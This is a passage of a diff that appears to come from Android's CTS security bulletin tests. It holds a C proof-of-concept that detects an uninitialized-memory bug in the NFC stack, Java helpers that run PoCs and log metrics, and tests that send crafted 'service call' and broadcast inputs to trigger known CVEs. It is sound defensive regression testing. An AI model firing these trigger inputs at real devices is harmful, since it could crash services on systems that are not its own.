+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+#include <stdlib.h>
+
+char enable_selective_overload = ENABLE_NONE;
+bool kIsVulnerable = false;
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+#define DEFAULT_VALUE 0xBE
+#define RW_I93_FORMAT_DATA_LEN 8
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+void *kVulnPtr = nullptr;
+uint16_t kVulnSize = 0;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+static tNFC_STATUS (*real_rw_i93_send_cmd_write_single_block)(
+ uint16_t block_number, uint8_t *p_data) = nullptr;
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+ real_rw_i93_send_cmd_write_single_block =
+ (tNFC_STATUS(*)(uint16_t, uint8_t *))dlsym(
+ RTLD_NEXT, "_Z34rw_i93_send_cmd_write_single_blocktPh");
+ if (!real_rw_i93_send_cmd_write_single_block) {
+ return;
+ }
+
+ real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+ if (!real_GKI_getbuf) {
+ return;
+ }
+
+ real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+ if (!kIsInitialized) {
+ init();
+ }
+ void *ptr = nullptr;
+ if ((size == I93_MAX_BLOCK_LENGH) || (size == RW_I93_FORMAT_DATA_LEN)) {
+ ptr = malloc(size);
+ memset(ptr, DEFAULT_VALUE, size);
+ kVulnPtr = ptr;
+ kVulnSize = size;
+ } else {
+ ptr = real_GKI_getbuf(size);
+ }
+ return ptr;
+}
+
+void GKI_freebuf(void *ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ if (ptr == kVulnPtr) {
+ free(ptr);
+ } else {
+ real_GKI_freebuf(ptr);
+ }
+}
+
+size_t rw_i93_send_cmd_write_single_block(uint16_t block_number,
+ uint8_t *p_data) {
+ if (!kIsInitialized) {
+ init();
+ }
+ if (p_data == kVulnPtr) {
+ for (int n = 0; n < I93_MAX_BLOCK_LENGH; ++n) {
+ if (p_data[n] == DEFAULT_VALUE) {
+ kIsVulnerable = true;
+ break;
+ }
+ }
+ }
+ return real_rw_i93_send_cmd_write_single_block(block_number, p_data);
+}
+
+#endif /* _64_BIT */
+
+int main() {
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ enable_selective_overload = ENABLE_ALL;
+ tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
+
+ tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(uint8_t) * 16);
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ return EXIT_FAILURE;
+ }
+
+ (p_data->data.p_data)->len = I93_MAX_BLOCK_LENGH;
+ p_i93->state = RW_I93_STATE_FORMAT;
+ p_i93->block_size = 7;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data);
+ enable_selective_overload = ENABLE_NONE;
+#endif /* _64_BIT */
+ return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/common.h b/hostsidetests/securitybulletin/securityPatch/includes/common.h
index bc93c1e..0f894a6 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/common.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/common.h
@@ -36,11 +36,9 @@
time_t start_timer(void);
int timer_active(time_t timer_started);
-time_t start_timer(){
- return time(NULL);
-}
+inline time_t start_timer() { return time(NULL); }
-int timer_active(time_t timer_started){
+inline int timer_active(time_t timer_started) {
return time(NULL) < (timer_started + MAX_TEST_DURATION);
}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
index 80e125f..34df821 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils_track.c
@@ -172,14 +172,14 @@
#ifdef CHECK_UNINITIALIZED_MEMORY
bool is_memory_uninitialized() {
for (int i = 0; i < s_allocation_index; ++i) {
- char *mem_ptr = s_allocation_list[i].mem_ptr;
+ uint8_t *mem_ptr = s_allocation_list[i].mem_ptr;
size_t mem_size = s_allocation_list[i].mem_size;
if (mem_ptr) {
#ifdef CHECK_FOUR_BYTES
if(mem_size > (2 * sizeof(uint32_t))) {
- char *mem_ptr_start = (char *)s_allocation_list[i].mem_ptr;
- char *mem_ptr_end = (char *)s_allocation_list[i].mem_ptr + mem_size - 1;
+ uint8_t *mem_ptr_start = (uint8_t *) s_allocation_list[i].mem_ptr;
+ uint8_t *mem_ptr_end = (uint8_t *) s_allocation_list[i].mem_ptr + mem_size - 1;
for (size_t j = 0; j < sizeof(uint32_t); ++j) {
if (*mem_ptr_start++ == INITIAL_VAL) {
return true;
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index 6d9454f..0605b39 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -17,6 +17,9 @@
package android.security.cts;
import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.MetricsReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
import com.android.ddmlib.IShellOutputReceiver;
import com.android.ddmlib.NullOutputReceiver;
import com.android.ddmlib.CollectingOutputReceiver;
@@ -37,6 +40,7 @@
import java.util.Arrays;
import java.util.ArrayList;
import java.util.concurrent.Callable;
+import java.util.Collections;
import org.json.JSONArray;
import org.json.JSONException;
@@ -53,6 +57,20 @@
final static int TIMEOUT_SEC = 9 * 60;
final static String RESOURCE_ROOT = "/";
+ public static class pocConfig {
+ String binaryName;
+ String arguments;
+ String inputFilesDestination;
+ ITestDevice device;
+ CrashUtils.Config config;
+ List<String> inputFiles = Collections.emptyList();
+
+ pocConfig(String binaryName, ITestDevice device) {
+ this.binaryName = binaryName;
+ this.device = device;
+ }
+ }
+
/** Runs a commandline on the specified device
*
* @param command the command to be ran
@@ -151,8 +169,30 @@
if (arguments == null) {
arguments = "";
}
- device.executeShellCommand(TMP_PATH + pocName + " " + arguments,
+
+ // since we have to return the exit status AND the poc stdout+stderr we redirect the exit
+ // status to a file temporarily
+ String exitStatusFilepath = TMP_PATH + "exit_status";
+ runCommandLine("rm " + exitStatusFilepath, device); // remove any old exit status
+ device.executeShellCommand(TMP_PATH + pocName + " " + arguments +
+ "; echo $? > " + exitStatusFilepath, // echo exit status to file
receiver, timeout, TimeUnit.SECONDS, 0);
+
+ // cat the exit status
+ String exitStatusString = runCommandLine("cat " + exitStatusFilepath, device).trim();
+
+ MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+ reportLog.addValue("poc_name", pocName, ResultType.NEUTRAL, ResultUnit.NONE);
+ try {
+ int exitStatus = Integer.parseInt(exitStatusString);
+ reportLog.addValue("exit_status", exitStatus, ResultType.NEUTRAL, ResultUnit.NONE);
+ } catch (NumberFormatException e) {
+ // Getting the exit status is a bonus. We can continue without it.
+ CLog.w("Could not parse exit status to int: %s", exitStatusString);
+ }
+ reportLog.submit();
+
+ runCommandLine("rm " + exitStatusFilepath, device);
}
/**
@@ -260,10 +300,12 @@
*/
public static void pushResources(String[] inputFiles, String inputFilesDestination,
ITestDevice device) throws Exception {
- if ( (inputFiles != null) && (inputFilesDestination != null)) {
- for (String tempFile : inputFiles) {
- pushResource(RESOURCE_ROOT + tempFile, inputFilesDestination + tempFile, device);
- }
+ if (inputFiles == null || inputFilesDestination == null) {
+ throw new IllegalArgumentException(
+ "Can't push resources: input files or destination is null");
+ }
+ for (String tempFile : inputFiles) {
+ pushResource(RESOURCE_ROOT + tempFile, inputFilesDestination + tempFile, device);
}
}
@@ -277,10 +319,12 @@
*/
public static void removeResources(String[] inputFiles, String inputFilesDestination,
ITestDevice device) throws Exception {
- if ( (inputFiles != null) && (inputFilesDestination != null)) {
- for (String tempFile : inputFiles) {
- runCommandLine("rm " + inputFilesDestination + tempFile, device);
- }
+ if (inputFiles == null || inputFilesDestination == null) {
+ throw new IllegalArgumentException(
+ "Can't remove resources: input files or destination is null");
+ }
+ for (String tempFile : inputFiles) {
+ runCommandLine("rm " + inputFilesDestination + tempFile, device);
}
}
@@ -307,15 +351,21 @@
*/
public static int runCommandGetExitCode(String cmd, ITestDevice device) throws Exception {
long time = System.currentTimeMillis();
- String exitStatus = runCommandLine(
+ String exitStatusString = runCommandLine(
"(" + cmd + ") > /dev/null 2>&1; echo $?", device).trim();
time = System.currentTimeMillis() - time;
+
try {
- return Integer.parseInt(exitStatus);
+ int exitStatus = Integer.parseInt(exitStatusString);
+ MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+ reportLog.addValue("command", cmd, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValue("exit_status", exitStatus, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.submit();
+ return exitStatus;
} catch (NumberFormatException e) {
throw new IllegalArgumentException(String.format(
"Could not get the exit status (%s) for '%s' (%d ms).",
- exitStatus, cmd, time));
+ exitStatusString, cmd, time));
}
}
@@ -362,13 +412,19 @@
long time = System.currentTimeMillis();
device.executeShellCommand(cmd, receiver, timeout, TimeUnit.SECONDS, 0);
time = System.currentTimeMillis() - time;
- String exitStatus = receiver.getOutput().trim();
+ String exitStatusString = receiver.getOutput().trim();
+
try {
- return Integer.parseInt(exitStatus);
+ int exitStatus = Integer.parseInt(exitStatusString);
+ MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+ reportLog.addValue("poc_name", pocName, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValue("exit_status", exitStatus, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.submit();
+ return exitStatus;
} catch (NumberFormatException e) {
throw new IllegalArgumentException(String.format(
"Could not get the exit status (%s) for '%s' (%d ms).",
- exitStatus, cmd, time));
+ exitStatusString, cmd, time));
}
}
@@ -522,10 +578,45 @@
public static void runPocAssertNoCrashesNotVulnerable(String binaryName, String arguments,
String inputFiles[], String inputFilesDestination, ITestDevice device,
String processPatternStrings[]) throws Exception {
- pushResources(inputFiles, inputFilesDestination, device);
- runCommandLine("logcat -c", device);
+ pocConfig testConfig = new pocConfig(binaryName, device);
+ testConfig.arguments = arguments;
+
+ if (inputFiles != null) {
+ testConfig.inputFiles = Arrays.asList(inputFiles);
+ testConfig.inputFilesDestination = inputFilesDestination;
+ }
+
+ List<String> processPatternList = new ArrayList<>();
+ if (processPatternStrings != null) {
+ processPatternList.addAll(Arrays.asList(processPatternStrings));
+ }
+ processPatternList.add(binaryName);
+ String[] processPatternStringsWithSelf = new String[processPatternList.size()];
+ processPatternList.toArray(processPatternStringsWithSelf);
+ testConfig.config =
+ new CrashUtils.Config().setProcessPatterns(processPatternStringsWithSelf);
+
+ runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * Runs the poc binary and asserts following 3 conditions.
+ * 1. There are no security crashes in the binary.
+ * 2. There are no security crashes that match the expected process pattern.
+ * 3. The exit status isn't 113 (Code 113 is used to indicate the vulnerability condition).
+ *
+ * @param testConfig test configuration
+ */
+ public static void runPocAssertNoCrashesNotVulnerable(pocConfig testConfig) throws Exception {
+ String[] inputFiles = null;
+ if(!testConfig.inputFiles.isEmpty()) {
+ inputFiles = testConfig.inputFiles.toArray(new String[testConfig.inputFiles.size()]);
+ pushResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
+ }
+ runCommandLine("logcat -c", testConfig.device);
try {
- runPocAssertExitStatusNotVulnerable(binaryName, arguments, device, TIMEOUT_SEC);
+ runPocAssertExitStatusNotVulnerable(testConfig.binaryName, testConfig.arguments,
+ testConfig.device, TIMEOUT_SEC);
} catch (IllegalArgumentException e) {
/*
* Since 'runPocGetExitStatus' method raises IllegalArgumentException upon
@@ -535,16 +626,14 @@
*/
CLog.w("Ignoring IllegalArgumentException: " + e);
} finally {
- removeResources(inputFiles, inputFilesDestination, device);
+ if (!testConfig.inputFiles.isEmpty()) {
+ removeResources(inputFiles, testConfig.inputFilesDestination, testConfig.device);
+ }
}
- List<String> processPatternList = new ArrayList<>();
- if (processPatternStrings != null) {
- processPatternList.addAll(Arrays.asList(processPatternStrings));
+ if (testConfig.config == null) {
+ testConfig.config = new CrashUtils.Config();
}
- processPatternList.add(binaryName);
- String[] processPatternStringsWithSelf = new String[processPatternList.size()];
- processPatternList.toArray(processPatternStringsWithSelf);
- assertNoCrashes(device, processPatternStringsWithSelf);
+ assertNoCrashes(testConfig.device, testConfig.config);
}
/**
@@ -572,6 +661,12 @@
JSONArray crashes = CrashUtils.addAllCrashes(logcat, new JSONArray());
JSONArray securityCrashes = CrashUtils.matchSecurityCrashes(crashes, config);
+ MetricsReportLog reportLog = SecurityTestCase.buildMetricsReportLog(device);
+ reportLog.addValue("all_crashes", crashes.toString(), ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValue("security_crashes", securityCrashes.toString(),
+ ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.submit();
+
if (securityCrashes.length() == 0) {
return; // no security crashes detected
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
new file mode 100644
index 0000000..3c6d4b3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_01.java
@@ -0,0 +1,23 @@
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_01 extends SecurityTestCase {
+ /**
+ * CVE-2019-14002
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testPocCVE_2019_14002() throws Exception {
+ String result =
+ AdbUtils.runCommandLine(
+ "dumpsys package com.qualcomm.qti.callenhancement", getDevice());
+ assertNotMatchesMultiLine("READ_EXTERNAL_STORAGE.*?WRITE_EXTERNAL_STORAGE", result);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
new file mode 100644
index 0000000..bd8f3cd
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_06 extends SecurityTestCase {
+
+ /**
+ * CVE-2020-3635
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3635() throws Exception {
+ String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
+ if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runCommandLine(
+ "service call vendor.perfservice 4 i32 1 i64 4702394920265069920", getDevice());
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine(
+ "Fatal signal 11 \\(SIGSEGV\\).*?>>> /system/bin/perfservice <<<", logcatOut);
+ }
+ }
+
+ /**
+ * CVE-2020-3626
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3626() throws Exception {
+ String isApplicable =
+ AdbUtils.runCommandLine("pm list package com.qualcomm.qti.lpa", getDevice());
+ if (!isApplicable.isEmpty()) {
+ String result =
+ AdbUtils.runCommandLine("dumpsys package com.qualcomm.qti.lpa", getDevice());
+ assertTrue(result.contains("com.qti.permission.USE_UIM_LPA_SERVICE"));
+ }
+ }
+
+ /**
+ * CVE-2020-3628
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3628() throws Exception {
+ String result = AdbUtils.runCommandLine(
+ "pm list package com.qualcomm.qti.logkit",getDevice());
+ assertFalse(result.contains("com.qualcomm.qti.logkit"));
+ }
+
+ /**
+ * CVE-2020-3676
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testPocCVE_2020_3676() throws Exception {
+ String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
+ if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runCommandLine(
+ "service call vendor.perfservice 4 i32 2442302356 i64 -2", getDevice());
+ AdbUtils.assertNoCrashes(getDevice(), "perfservice");
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
new file mode 100644
index 0000000..cfa53ef
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_11.java
@@ -0,0 +1,45 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_11 extends SecurityTestCase {
+
+ /**
+ * b/162741784
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2020-11")
+ public void testPocCVE_2020_0437() throws Exception {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runCommandLine(
+ "am broadcast " +
+ "-a com.android.cellbroadcastreceiver.intent.action.MARK_AS_READ " +
+ "-n com.android.cellbroadcastreceiver/.CellBroadcastReceiver " +
+ "--el com.android.cellbroadcastreceiver.intent.extra.ID 1596185475000",
+ getDevice());
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("CellBroadcastContentProvider: failed to mark broadcast read", logcat);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 0df41b1..ec89b1672 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -16,6 +16,13 @@
package android.security.cts;
+import com.android.compatibility.common.util.MetricsReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
@@ -24,10 +31,14 @@
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.ddmlib.Log;
+import org.junit.rules.TestName;
+import org.junit.Rule;
import org.junit.After;
import org.junit.Before;
import org.junit.runner.RunWith;
+import java.util.Map;
+import java.util.HashMap;
import java.util.regex.Pattern;
import java.util.regex.Matcher;
import java.util.concurrent.Callable;
@@ -50,6 +61,12 @@
private HostsideOomCatcher oomCatcher = new HostsideOomCatcher(this);
private HostsideMainlineModuleDetector mainlineModuleDetector = new HostsideMainlineModuleDetector(this);
+ @Rule public TestName testName = new TestName();
+
+ private static Map<ITestDevice, IBuildInfo> sBuildInfo = new HashMap<>();
+ private static Map<ITestDevice, IAbi> sAbi = new HashMap<>();
+ private static Map<ITestDevice, String> sTestName = new HashMap<>();
+
/**
* Waits for device to be online, marks the most recent boottime of the device
*/
@@ -62,6 +79,9 @@
// Specifically time when app framework starts
oomCatcher.start();
+ sBuildInfo.put(getDevice(), getBuild());
+ sAbi.put(getDevice(), getAbi());
+ sTestName.put(getDevice(), testName.getMethodName());
}
/**
@@ -103,6 +123,18 @@
}
}
+ public static IBuildInfo getBuildInfo(ITestDevice device) {
+ return sBuildInfo.get(device);
+ }
+
+ public static IAbi getAbi(ITestDevice device) {
+ return sAbi.get(device);
+ }
+
+ public static String getTestName(ITestDevice device) {
+ return sTestName.get(device);
+ }
+
// TODO convert existing assertMatches*() to RegexUtils.assertMatches*()
// b/123237827
@Deprecated
@@ -190,7 +222,39 @@
* Check if a driver is present on a machine.
*/
protected boolean containsDriver(ITestDevice device, String driver) throws Exception {
- return AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
+ boolean containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
+
+ MetricsReportLog reportLog = buildMetricsReportLog(getDevice());
+ reportLog.addValue("path", driver, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.addValue("exists", containsDriver, ResultType.NEUTRAL, ResultUnit.NONE);
+ reportLog.submit();
+
+ return containsDriver;
+ }
+
+ protected static MetricsReportLog buildMetricsReportLog(ITestDevice device) {
+ IBuildInfo buildInfo = getBuildInfo(device);
+ IAbi abi = getAbi(device);
+ String testName = getTestName(device);
+
+ StackTraceElement[] stacktraces = Thread.currentThread().getStackTrace();
+ int stackDepth = 2; // 0: getStackTrace(), 1: buildMetricsReportLog, 2: caller
+ String className = stacktraces[stackDepth].getClassName();
+ String methodName = stacktraces[stackDepth].getMethodName();
+ String classMethodName = String.format("%s#%s", className, methodName);
+
+ // The stream name must be snake_case or else json formatting breaks
+ String streamName = methodName.replaceAll("(\\p{Upper})", "_$1").toLowerCase();
+
+ MetricsReportLog reportLog = new MetricsReportLog(
+ buildInfo,
+ abi.getName(),
+ classMethodName,
+ "CtsSecurityBulletinHostTestCases",
+ streamName,
+ true);
+ reportLog.addValue("test_name", testName, ResultType.NEUTRAL, ResultUnit.NONE);
+ return reportLog;
}
private long getDeviceUptime() throws DeviceNotAvailableException {
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index a43163a..57dae7e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -18,6 +18,7 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.log.LogUtil.CLog;
+import com.android.compatibility.common.util.CrashUtils;
import android.platform.test.annotations.SecurityTest;
import org.junit.Test;
@@ -25,6 +26,9 @@
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import static org.junit.Assert.*;
+import junit.framework.Assert;
+import java.util.Arrays;
+import java.util.ArrayList;
@RunWith(DeviceJUnit4ClassRunner.class)
public class TestMedia extends SecurityTestCase {
@@ -41,6 +45,298 @@
******************************************************************************/
/**
+ * b/66969349
+ * Vulnerability Behaviour: SIGSEGV in media.codec
+ */
+ @SecurityTest(minPatchLevel = "2018-01")
+ @Test
+ public void testPocCVE_2017_13180() throws Exception {
+ String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13180", null, getDevice(),
+ processPatternStrings);
+ }
+
+ /**
+ * b/111210196
+ * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2019-12")
+ @Test
+ public void testPocCVE_2019_2228() throws Exception {
+ String inputFiles[] = {"cve_2019_2228_ipp.mp4"};
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2228",
+ AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+ }
+
+ /**
+ * b/157650336
+ * Vulnerability Behaviour: SIGSEGV in self / EXIT_VULNERABLE (113)
+ */
+ @SecurityTest(minPatchLevel = "2020-11")
+ @Test
+ public void testPocCVE_2020_0450() throws Exception {
+ AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0450", null, getDevice());
+ }
+
+ /**
+ * b/156997193
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-11")
+ @Test
+ public void testPocCVE_2020_0409() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2020-0409";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/156999009
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-10")
+ @Test
+ public void testPocCVE_2020_0408() throws Exception {
+ String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String binaryName = "CVE-2020-0408";
+ AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+ testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config.setSignals(signals);
+ AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+ }
+
+ /**
+ * b/161894517
+ * Vulnerability Behaviour: SIGABRT in self
+ */
+ @SecurityTest(minPatchLevel = "2020-10")
+ @Test
+ public void testPocCVE_2020_0421() throws Exception {
